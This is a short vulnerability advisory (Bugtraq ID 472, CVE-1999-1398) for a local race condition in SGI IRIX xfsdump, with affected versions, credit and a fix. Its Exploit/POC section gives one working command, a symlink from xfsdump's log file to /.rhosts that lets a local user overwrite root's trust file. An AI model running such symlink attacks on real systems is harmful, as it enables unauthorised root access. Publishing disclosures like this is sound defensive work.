IRIX xfsdump Vulnerability

BID:472

Info

IRIX xfsdump Vulnerability

Bugtraq ID: 472
Class: Race Condition Error
CVE: CVE-1999-1398
Remote: No
Local: Yes
Published: May 07 1997 12:00AM
Updated: Jul 11 2009 12:56AM
Credit: This vulnerability was found by Yuri Volobuev <[email protected]> and reported to the Bugtraq mailing list on May 7, 1997.
Vulnerable: SGI IRIX 6.4
SGI IRIX 6.3
SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 6.0.1 XFS
SGI IRIX 6.0.1
SGI IRIX 6.0
SGI IRIX 5.3 XFS
SGI IRIX 5.3
SGI IRIX 5.2
SGI IRIX 5.1.1
SGI IRIX 5.1
SGI IRIX 5.0.1
SGI IRIX 5.0
Not Vulnerable:

Exploit / POC

IRIX xfsdump Vulnerability

ln -sf /.rhosts /usr/tmp/bck.log

Solution / Fix

IRIX xfsdump Vulnerability

Solution:
Touch the /usr/tmp/bck.log file to prevent users from pointing it to elsewhere.

Patches for this problem are available from SGI at http://support.sgi.com

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